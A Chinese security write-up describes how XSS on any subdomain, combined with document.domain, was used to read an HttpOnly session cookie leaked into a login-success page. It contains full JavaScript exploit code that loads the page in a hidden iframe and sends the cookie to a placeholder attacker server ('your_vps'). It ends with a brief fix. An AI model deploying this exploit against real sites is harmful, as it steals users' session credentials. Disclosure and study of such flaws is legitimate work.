您的位置:首页 > 理论基础 > 计算机网络

通过Xss跨子域拿到受HttpOnly保护的Cookie

2020-02-03 04:55 1666 查看

通过Xss跨子域拿到受HttpOnly保护的Cookie

介绍

跨子域:因为浏览器同源策略的关系,只有同协议、域名、端口的页面才能进行交互,否则会被浏览器拒绝。现有两个页面,分别为http://111.example.com和http://example.com,两个页面是不同的域名,不能进行交互,但是可以在http://111.example.com使用

document.domain="example.com"
设置同域,这样即可实现一个跨子域的交互。
HttpOnly: 简单来说就是给Cookie增加一层保护,
document.cookie
不会返回设置了HttpOnly的Cookie。

漏洞细节

首先通过F12查看得知关键的Cookie sscode设置了HttpOnly。 那么这个sscode肯定是登录之后服务器下发给客户端的,那么走一遍登录流程看看有没有缺陷。

输入账号密码点击登录
通过Set-Cookie给客户端下发sscode
跳转到登录成功的页面

注意到在此之后又发送了一个数据包,其中带了sscode(此图是修复后的 sscode经过加密了)

那这个请求是从哪儿发出来的呢?注意到请求头中的Referer。

Referer: http://www.exmaple.com/user/login_success.php?username=&next=%2F

来自登录成功页面,没有X-Requested-With头,那么应该就是通过某个html标签的src属性值发出来的请求,前往登录成功的页面进行确认。

搜索sscode定位此script标签,可看到确实是通过src属性值发出来的请求。

那么可以通过同域的Xss漏洞来获取登录页面的响应内容,再提取出其中的sscode。

登录页面是如下链接

http://www.exmaple.com/user/login_success.php

一开始看域名为www.example.com,想着找一个www.example.com的Xss就可以了,但是找了一圈没找到。后面用

document.domain
查看登录成功页面所属于的域为example.com,那就意味着可以通过任意一个子域的Xss来跨子域获取受HttpOnly保护的sscode。

通过搜索语法

site:example.com
找到一处Xss,编写exp如下。

document.domain = 'example.com'; //设置同域
var iframe = document.createElement("iframe");
iframe.src = "http://www.example.com/user/login_success.php";
iframe.style="width:0%;height:0%;"; //设置不可见 隐蔽性高
document.body.appendChild(iframe);
iframe.onload = function(){
var content = iframe.contentDocument || iframe.contentWindow.document; //获取iframe页面的内容
var scr = content.getElementsByTagName('script'); //拿到所有script标签
var str = scr[3].src; //带sscode的script标签
var re = /%22sscode%22%3A%22(.+)%22%2C%22cookie_expire/; //正则表达式
//alert(str.match(re)[1]);
var sscode = str.match(re)[1]; //拿到sscode
var image = new Image();
image.src = 'http://your_vps/' + '?sscode=' + sscode; //将sscode传输出来
}

最后通过Xss加载写好的恶意Js文件,发送链接给受害者,只要其是登录的状态,打开了链接sscode就会被盗取。

修复方案

这个漏洞根本的原因就在于把sscode给泄露到登录成功的页面中了,最好的修复方案当然就是不要泄露在页面当中,厂商因业务需求,不能不放到页面中,修复方案为对其进行加密。

  • 点赞 1
  • 收藏
  • 分享
  • 文章举报
小石aaaaa 发布了3 篇原创文章 · 获赞 4 · 访问量 477 私信 关注
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: